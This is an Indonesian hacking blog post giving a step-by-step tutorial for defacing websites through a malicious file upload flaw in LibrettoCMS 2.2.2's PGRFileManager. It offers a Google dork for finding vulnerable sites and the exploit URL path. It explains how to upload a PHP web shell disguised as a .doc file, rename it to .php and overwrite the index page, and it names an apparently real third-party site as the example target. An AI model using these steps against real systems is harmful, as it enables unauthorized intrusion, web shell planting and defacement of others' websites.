Exploit LibrettoCMS 2.2.2 Malicious File Upload

Exploit LibrettoCMS 2.2.2 Malicious File Upload - Hai Semua, selamat datang di blog Noob1t4, Pada Artikel yang kalian baca kali ini dengan judul Exploit LibrettoCMS 2.2.2 Malicious File Upload, kami telah mempersiapkan artikel ini dengan baik untuk kalian baca dan ambil informasi didalamnya. mudah-mudahan isi postingan yang kami tulis ini dapat kalian pahami. baiklah, selamat membaca.

Kali ini saya akan share teknik deface dengan exploit  LibrettoCMS 2.2.2 Malicious File Upload. Exploitnya sangat mudah dipraktekkan terutama bagi para newbie seperti saya.

Oke langsung saja :



Bahan :

Shell php yang telah direname menjadi shell.doc

Dork :

inurl:adm/ui/js/ckeditor/plugins/pgrfilemanager

Exploit : 

http://target/librettoCMS/adm/ui/js/ckeditor/plugins/pgrfilemanager/PGRFileManager.php

Step by Step :
Mulai berselancar di google. Cari target yang sabar.

Misalnya saya pilih http://www.bluespacethinking.com/assets/js/plugins/ckeditor/plugins/pgrfilemanager/css/le-frog/

Ubah menjadi

http://www.bluespacethinking.com/assets/js/plugins/ckeditor/plugins/pgrfilemanager/PGRFileManager.php

Upload shell yang telah direname menjadi shell.doc.

Lihat gambar :

Setelah upload berhasil, rename shellnya menjadi shell.php

Akses shellnya di site/assets/user/shell.php

Hajar index. 🙂

http://www.bluespacethinking.com

http://www.hack-db.com/518922.html

Sekian dari  saya, semoga bermanfaat. 🙂

Created by nabilaholic – www.madura-cyber.org

Sumber http://noob1t4.blogspot.com/

Sekian Artikel Exploit LibrettoCMS 2.2.2 Malicious File Upload.

Terima kasih telah membaca artikel Exploit LibrettoCMS 2.2.2 Malicious File Upload, mudah-mudahan bisa memberi manfaat untuk kalian semua. Baiklah, sampai jumpa di postingan artikel lainnya.

Semua artikel tutorial di blog ini hanya untuk sebatas Pembelajaran dan Pengetahuan saja, jika kalian meyalahgunakan tutorial di blog ini, itu bukan tanggung jawab saya. Terima kasih sudah berkunjung ke blog Noob1t4, saya harap agan berkunjung kembali kesini

Share this post